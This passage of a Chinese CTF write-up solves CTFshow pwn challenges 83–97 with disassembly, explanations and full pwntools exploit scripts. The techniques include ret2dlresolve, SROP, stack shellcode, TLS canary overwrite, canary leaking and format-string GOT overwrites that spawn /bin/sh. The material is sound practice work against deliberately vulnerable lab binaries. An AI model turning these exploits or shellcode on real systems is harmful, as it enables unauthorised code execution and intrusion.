dynstr = elf.get_section_by_name('.dynstr').data()  # 提取 ELF 文件中 .dynstr 节区的内容
dynstr = dynstr.replace(b"read", b"system")  # read repalce system

rop.read(0, 0x080498E0, len(dynstr))  # 写入伪造的 .dynstr 数据
rop.read(0, 0x080498E0 + 0x100, len("/bin/sh\x00"))  # 写入 "/bin/sh\x00"

rop.raw(0x08048376)  # read@plt + 6(跳过 push,直接进入动态链接解析)
rop.raw(0xdeadbeef)  # 伪造的返回地址(无实际作用)
rop.raw(0x080498E0 + 0x100)  # "/bin/sh" 地址,作为 system 的参数

assert(len(rop.chain()) <= 256)  # 确保 ROP 链不超过 256 字节
rop.raw("a" * (256 - len(rop.chain())))  # 填充至 256 字节

io.send(rop.chain())
io.send(p32(0x080498E0))  # 发送伪造的 .dynstr 指针(覆盖 DT_STRTAB)
io.send(dynstr)  # 发送伪造的 .dynstr 数据("read" -> "system")
io.send("/bin/sh\x00")
io.interactive()

pwn83 ret2dlresolve

高级ROP 32 位 Partial-RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28287)
elf = ELF('./pwn')
rop = ROP('./pwn')

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr) # 调用read函数, 上面构造的dlresolve给read
rop.ret2dlresolve(dlresolve)  
raw_rop = rop.chain() # 触发ret2dlresolve攻击,利用伪造的结构解析并调用system("/bin/sh")
io.recvuntil("Welcome to CTFshowPWN!\n")
payload = flat({112:raw_rop,256:dlresolve.payload}) # ROP链放在偏移112处,伪造的dlresolve结构放在偏移256处
io.sendline(payload)
io.interactive()

pwn84 ret2dlresolve

pwn85 ret2dlresolve

pwn86 SROP

非常简单的SROP
SROP 模板题
https://www.cnblogs.com/ZIKH26/articles/15913593.html
SROP 前提:

  • 存在栈溢出, 可以控制返回地址
  • 可以调用 sigreturn
  • 可以写入或者知道 /bin/sh 地址
  • 溢出长度足够长,构造 payload
  • 知道 syscall 指令的地址

一直劫持程序的控制流:
每次控制寄存器的时候,把 rsp 写成下一个片段的 rt_sigreturn 的地址,rip 地址指向 syscall;ret (到 ret 的时候就会执行 rsp 执行的地址)

checksec

1
2
3
4
5
6
7
8
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes

disassemble

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
signed __int64 v4; // rax
signed __int64 v5; // rax

v3 = sys_write(1u, global_pwn, 0x17uLL);
if ( (unsigned __int64)sys_read(0, global_buf, 0x200uLL) >= 0xF8 )
v4 = sys_rt_sigreturn(0LL);
v5 = sys_exit(0);
return 0;
}

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
# io = process("./pwn")
io = remote('pwn.challenge.ctf.show', 28181)

bin_sh_offset = 0x100
frame = SigreturnFrame() #创建一个伪造的signal handler栈帧
frame.rax = constants.SYS_execve  # 设置系统调用号为 execve 59 (amd64=0x3b)
frame.rdi = elf.symbols['global_buf'] + bin_sh_offset # rdi = &bin_sh_addr
frame.rsi = 0 # execve的值
frame.rdx = 0 # execve的值
frame.rip = elf.symbols['syscall'] # 控制流跳转到syscall指令的地址
payload = bytes(frame).ljust(0x100,b'a') + b'/bin/sh\x00'
io.recvuntil('CTFshowPWN!\n')
io.sendline(payload)
io.interactive()

pwn 87

花式栈溢出
32bit , No cancry + NX disabled
栈溢出大小有限:

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

因为没有开堆栈不可执行,那就直接写 shellcode 到栈中,然后去 shellcode 的地址执行,getshell
栈地址无法泄露,但是偏移是固定的, 可以栈溢出后利用 ebp 进行操作,让 ebp 指向 shellcode 处,然后控制程序跳转到 ebp 处

1
2
3
4
❯ ROPgadget --binary ./pwn --only 'jmp|ret'
...
0x08048d17 : jmp esp
...

有一个可以直接跳转到 esp 的 gadgets

布置 payload 如下:

1
shellcode + padding + fake ebp + jmp_esp_addr + set esp point to shellcode and jmp esp

char s[28]; // [esp+8h] [ebp-20h] BYREF , 0x24个字节可以覆盖返回地址

返回地址为 jmp esp : 调用完函数后会执行 leave ; ret ,这个 ret 会 pop jmp_esp ,然后跳转。此时 esp 就是 sub_esp_jmp

然后最后一段构造 sub_esp_jmp 代码:

  • sub esp, 0x28; jmp esp
    将 esp - 0x28 到 s 的栈顶,执行 shellcode,get shell

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
# io = process("./pwn")
io = remote('pwn.challenge.ctf.show', 28291)

# 0x08048d17 : jmp esp
jmp_esp_addr = 0x08048d17
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
sub_esp_jmp = asm("sub esp,0x28;jmp esp")
payload = shellcode + (0x24-len(shellcode)) * b'a' + p32(jmp_esp_addr) + sub_esp_jmp
io.recvuntil("What's your name?")
io.sendline(payload)
io.interactive()

pwn 88

花式栈溢出
64bit File , checksec :

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

assemble:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00000000004006F2 main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004006F2
.text:00000000004006F2 var_18 = dword ptr -18h
.text:00000000004006F2 var_14 = dword ptr -14h
.text:00000000004006F2 var_10 = qword ptr -10h
.text:00000000004006F2 var_8 = qword ptr -8
.text:00000000004006F2
.text:00000000004006F2 ; __unwind {
.text:00000000004006F2 push rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h //抬高栈操作
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax // canary 检测
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf // 定义buf空间
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d" //输入内存和数据 可以写入1字节
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl // 写入一字节
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh // 检查输入的是否是0xFF
.text:0000000000400767 jnz short loc_400773 // 如果不是跳转
.text:0000000000400769 mov edi, offset s ; "No flag for you" // 如果是执行
.text:000000000040076E call _puts

有任意内存地址写入的功能,所以我们可以反复利用这个漏洞,也就是修改 jnz short loc_400773jmp short 40071D
这样程序就可以一直问我们 "Where What?" , 反复利用任意地址写入
.text 段是确定的代码段,只要 No PIE ,.text 都是固定的,不会受 ASRL 的影响

1
0x400767 - 0x40071D = 0x4A

主要代码:

  • 修改 jnz 地址需要修改两个 byte 的内容,第一个 byte 是操作码字节 , 第二个是偏移字节
1
2
writeData(text+1, u32(asm('jnz $-0x4A')[1:].ljust(4,b'\x00')))
writeData(text, u32(asm('jmp $-0x4A')[0:1].ljust(4,b'\x00')))
  • shellcode 写入到 .text:0000000000400769 mov edi, offset s ; "No flag for you"
1
2
3
4
5
6
7
8
9
10
11
12
13
shellcode = asm('''
    mov rax, 0x0068732f6e69622f
    push rax
    mov rdi, rsp                
    mov rax, 59                  
    xor rsi, rsi                
    xor rdx, rdx                
    syscall                    
''')

shellcode_addr = 0x400769  # No flag for you 字符串的地址
for i, byte in enumerate(shellcode):
    writeData(shellcode_addr + i, byte)  # 逐字节写入 Shellcode
  • 无条件跳转回 shellcode 处, getshell (修改 jnz short loc_400773jmp short &shellcode)
1
writeData(text+1, u32(asm('jnz $+0x2')[1:].ljust(4,b'\x00')))

最终的解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28299)
   
addr = 0x400767  # jnz addr
def writeData(addr, data):
    io.sendlineafter('Where What?', hex(addr) + ' ' + str(data)) # 模拟发送 addr + ' ' + data
writeData(addr + 1, u32(asm('jnz $-0x4A')[1:].ljust(4,b'\x00'))) # 修改偏移数
writeData(addr, u32(asm('jmp $-0x4A')[0:1].ljust(4,b'\x00'))) # 修改调用号

shellcode = asm('''
    mov rax, 0x0068732f6e69622f
    push rax
    mov rdi, rsp                
    mov rax, 59                  
    xor rsi, rsi                
    xor rdx, rdx                
    syscall                    
''')
shellcode_addr = 0x400769  # No flag for you 字符串的地址
for i, byte in enumerate(shellcode):
    writeData(shellcode_addr + i, byte)  # 逐字节写入 Shellcode

writeData(addr + 1, u32(asm('jnz $+0x2')[1:].ljust(4,b'\x00'))) # 修改偏移数
io.interactive()

pwn89 TLS 劫持

花式栈溢出
64bit File , checksec :

1
2
3
4
5
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

disassemble

  • main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
pthread_create(newthread, 0LL, start, 0LL);
if ( pthread_join(newthread[0], 0LL) )
{
puts("exit failure");
result = 1;
}
else
{
puts("Bye bye");
result = 0;
}
return result;
}

看到了关键函数 pthread_create , 创建一个线程
函数申明:

1
2
3
4
5
6
#include <pthread.h>
int pthread_create(
pthread_t *restrict tidp, //新创建的线程ID指向的内存单元。
const pthread_attr_t *restrict attr, //线程属性,默认为NULL
void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行void *restrict arg //默认为NULL。若上述函数需要参数,将参数放入结构中并将地址作为arg传入。
);
1
2
3
int pthread_join(pthread_t thread, void **value_ptr); 
// thread:等待退出线程的线程号。
// value_ptr:退出线程的返回值。
  • start
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__fastcall start(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x1000uLL);
puts("Welcome to CTFshowPWN!");
puts("You want to send:");
v2 = lenth();
if ( v2 <= 0x10000 )
{
readn(0, (__int64)s, v2);
puts("See you next time!");
}
else
{
puts("Are you kidding me?");
}
return 0LL;
}

s 有 0x1010 空间的大小, readn 函数又读取了我们第二次输入的数据第一次输入的长度,第一次可以输入的长一些,导致第二次输入溢出 s 即可。

思路:
在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。
那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP

有canary保护我们可以通过覆盖高地址来覆盖掉TLS,然后就是正常的ROP然后栈迁移到bss段执行one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28271)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

puts_addr = elf.symbols["puts"]
put_got = elf.got["puts"]
read_addr = elf.symbols["read"]
libc_puts = libc.sym['puts']

leave_addr = 0x40098c
pop_rdi_ret = 0x400be3        
pop_rsi_r15_ret = 0x400be1  
bss_addr = 0x602f00

payload = b'a' * 0x1010 + p64(bss_addr - 0x8)  # 栈迁移
payload += p64(pop_rdi_ret) + p64(put_got) + p64(puts_addr)  # Leak puts@got
payload += p64(pop_rdi_ret) + p64(0)                      # read() fd=0
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)  # read() buf=bss_addr
payload += p64(read_addr)                                    # Call read()
payload += p64(leave_addr)                                # Stack pivot
payload = payload.ljust(0x2000, b'a')

io.sendlineafter("send:\n", str(0x2000))
sleep(1)
io.send(payload)
sleep(1)

io.recvuntil("See you next time!\n")
puts = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts))
base_addr = puts - libc_puts
print(hex(base_addr))

one = 0x10a2fc + base_addr  #one_gadget ./libc/libc.so.6
payload = p64(one)
io.send(payload)
io.interactive()

pwn90 Leak Canary

花式栈溢出
64bit , 泄露 canary 值

disassemble

  • main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
puts("Welcome CTFshow:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}

很明显的溢出点,但是输入过长会导致 stack smashing:

1
2
3
4
Welcome CTFshow:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0[���:
*** stack smashing detected ***: terminated

和 checksec 检测的一样,有 canary 的防护,无非就两种情况,从 canary 入手和 stack smashing 报错信息劫持

1
2
3
4
5
6
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这里尝试溢出一下 canary 的值

1
2
3
4
puts("Welcome CTFshow:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);

可以看到现在我们无法溢出,因为有 canary,但是这里用 read 读取数据,读取后不会给我们输入的数据加上截断符号 \x00
可以直接通过 printf 输出 canary 的值,计算一下需要多少 padding:

1
2
3
4
            0x28 0x30 0x38
padding + canary + ebp + ret_addr (栈情况)

0x30 - 0x08 + 1 (canary 最低位为 0x0)

接收 printf 输出的 canary 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28221)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

leak_padding = 0x30 - 8 + 1
io.recvuntil("Welcome CTFshow:\n")
payload = b'a' * leak_padding
io.send(payload)
io.recvuntil('Hello ')
io.recv(0x30 - 8)
canary = u64(io.recv(8).ljust(8,b'\x00')) & (0xffffffffffffff00)
log.success('++++++++++ Canary:%x \n',canary)

io.interactive()
1
[+] ++++++++++ Canary:3514da2dd2cc2b00

泄露出 canary 的值就好办了,直接溢出即可

注意: 因为开启了 PIE,所以后门函数的地址我们是不知道的,但是低位地址是一样的,我们可以直接覆盖低位地址来跳转到后门函数
.text:0000000000000A42 lea rdi, command ; "/bin/sh"

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28221)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

leak_padding = 0x30 - 0x08 + 1
io.recvuntil("Welcome CTFshow:\n")
payload = b'a' * leak_padding
io.sendline(payload)
io.recv(6 + leak_padding-1)
canary = u64(io.recv(8)) & (0xffffffffffffff00)
log.success('++++++++++ Canary:%x \n',canary)
shell_addr = 0xA42
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x42'
io.send(payload)
io.interactive()

格式化字符串

pwn91

开始格式化字符串了,先来个简单的吧

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32bit , disassemble:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}

看到只要 daniu == 6 ,就可以给 shell ,跟进 ctfshow()

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

给了 daniu 地址中的数据,同时 printf(s) 存在格式化字符串漏洞,可以利用:
输入不同的数据会输出不同的:

1
2
3
4
5
6
7
aaaa
aaaa
daniu now is :0!

%p
0xffe31c4c
daniu now is :0!

输入 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 查看 aaaa 的偏移

1
2
3
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-p-0xfff4544c-0x50-0x804870a-0x46-0xeaf0ed40-0xfff45488-0x61616161-0x252d702d-0x70252d70
daniu now is :0!

看到第七位就是我们输入的 aaaa (0x61616161),可以验证一下:

1
2
3
aaaa%7$p
aaaa0x61616161
daniu now is :0!

没错,找一下 daniu 的地址:

1
.bss:0804B038 daniu           dd ?                    ; DATA XREF: ctfshow+52↑r

bss 段,同时没有开启 PIE,那就直接往这个地址里格式化字符串漏洞写入 7 即可

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28270)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

daniu_addr = 0x804B038
offset = 7
payload = fmtstr_payload(offset,{daniu_addr:6})  #pwntools自带的格式化字符串利用函数: 偏移,写入的地址,写入的数据
io.recvuntil("    * *************************************                           \n")
io.sendline(payload)
io.interactive()

pwn92

可能上一题没太看懂?来看下基础吧

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

只跟进 flagishere() 函数 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 flagishere()
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Enter your format string: ");
__isoc99_scanf("%9s", format);
printf("The flag is :");
printf(format, s);
return __readfsqword(0x28u) ^ v4;
}

只需要输入%s 就可以输出 flag 了

1
2
Enter your format string: %s
The flag is :ctfshow{51bd7f61-e1f5-453f-b550-8d3787eefc90}

pwn93

还是教学题目,先看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
menu();
puts("Enter your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
func1();
break;
case 2:
func2();
break;
case 3:
func3();
break;
case 4:
func4();
break;
case 5:
func5();
break;
case 6:
nothing_here();
break;
case 7:
exit0();
break;
default:
puts("Invalid choice. Please enter a valid option.");
break;
}
return 0;
}

跟进 exit0():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 exit0()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("%s", s);
return __readfsqword(0x28u) ^ v3;
}

所以我们输入 7 就可以获得 flag 了

pwn94 printf->system

好了,你已经学会1+1=2了,接下来继续加油吧

1
2
3
4
5
6
7
8
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

看下伪代码, 跟进 ctfshow()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}

看到输入的 buf 直接交给了 printf,是不是就可以写入类似 %p%p ,输出栈中的地址 ?(计算偏移:)

1
2
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0xffcc9b78-0x64-0x80486e5-0x10-0xf111afe8-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d

计算出偏移是6

思路:
printf(buf) 存在格式化字符串漏洞,buf 可控,可以修改 print_got 为 system_plt

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28128)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

printf_got = elf.got['printf']
system_plt = elf.plt['system']
offset = 6
payload = fmtstr_payload(offset,{printf_got:system_plt}) #pwntools自带的格式化字符串利用函数: 偏移,写入的地址,写入的数据
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

经过测试下来,io.sendline(b"/bin/sh\x00") 这一行可有可无 , system("") 也可以启动 shell

pwn95

加大了一点点难度,不过对你来说还是so easy 吧

  • checksec
1
2
3
4
5
6
7
8
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
  • disassemble
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
fflush(stdout);
}
}

看到很明显的格式化字符串漏洞: printf(buf);
但是这一题没有给我们 system, 所以要通过 ret2libc 的样子计算出 system 的地址。

leak printf@got 的地址?

1
payload = p32(printf_got) + b'%6$s'   # leak printf@got

写入 printf@got , 然后再格式化字符串漏洞泄露出来

后面就是接收和 libcsearcher 计算基地址和计算 system 地址 , payload 就是和 pwn94一样,把 printf 地址改为 system 地址即可

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28200)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")
# io = process('./pwn')

offset = 6
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'   # leak printf@got
io.send(payload)
printf_addr = u32(io.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
print('libc_base:',hex(libc_base))
log.info("++++++++++++++ system_addr: %s" % hex(system_addr))

payload = fmtstr_payload(6,{printf_got:system_addr})
io.send(payload)
io.send('/bin/sh')
io.interactive()

但是解出来有点问题,libcsearcher 找不到对应的版本

pwn96

先找一下偏移
disassemble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3[64]; // [esp+0h] [ebp-90h] BYREF
char s[64]; // [esp+40h] [ebp-50h] BYREF
FILE *stream; // [esp+80h] [ebp-10h]
char *v6; // [esp+84h] [ebp-Ch]
int *v7; // [esp+88h] [ebp-8h]

v7 = &argc;
setvbuf(stdout, 0, 2, 0);
v6 = v3;
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts(asc_8048830);
puts(asc_80488A4);
puts(asc_8048920);
puts(asc_80489AC);
puts(asc_8048A3C);
puts(asc_8048AC0);
puts(asc_8048B54);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Flag on the stack! ");
puts(" * ************************************* ");
puts("It's time to learn about format strings!");
puts("Where is the flag?");
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(v3, 64, stream);
while ( 1 )
{
printf("$ ");
fgets(s, 64, stdin);
printf(s);
}
}

fgets(v3, 64, stream); 可以看到 flag 被读取在栈中,所以可以通过 printf(s); 格式化字符串漏洞泄露出来 flag 的值;

1
2
$ aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x40-0xf7ede5c0-(nil)-(nil)-0xf7ef5fcb-0x73667463-0x7b776f68-0x38666339-0x64646335-0x6430302d-0x37342d31-0x392d3831-0x2d353264-0x31376231-0x61386134-0x36356662-0xa7d-(nil)-0xf7f13000-$ p-0x40-0xf7ede5c0-(nil)-(nil)-0xf7ef5fcb-0x73667463

0x73667463 -> sftc , 得出 offset = 6

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
process = './pwn'
io = remote("pwn.challenge.ctf.show",28154)

flag = ''
for i in range(6, 6 + 12):
    payload = '%{}$p'.format(i)
    io.sendlineafter('$ ', payload)
    response = io.recvuntil(b'\n', drop=True).decode()
    hex_string = response.replace('0x', '')  # 去掉 "0x"
   
    try:
        # 将十六进制字符串转为字节并逆序解码
        aim = unhex(hex_string)
        flag += aim[::-1].decode('latin-1')  # 逆序并用 'latin-1' 解码
    except Exception as e:
        print(f"Error decoding at index {i}: {e}")
        break  # 跳出循环,防止无效数据导致死循环
   
print(flag)
io.close()

pwn97

覆写某个值满足某条件好像就可以了
32bit 题目,直接看反汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [esp+10h] [ebp-4Ch] BYREF
unsigned int v5; // [esp+50h] [ebp-Ch]
int *v6; // [esp+54h] [ebp-8h]

v6 = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts(asc_8048A64);
puts(asc_8048AD8);
puts(asc_8048B54);
puts(asc_8048BE0);
puts(asc_8048C70);
puts(asc_8048CF4);
puts(asc_8048D88);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
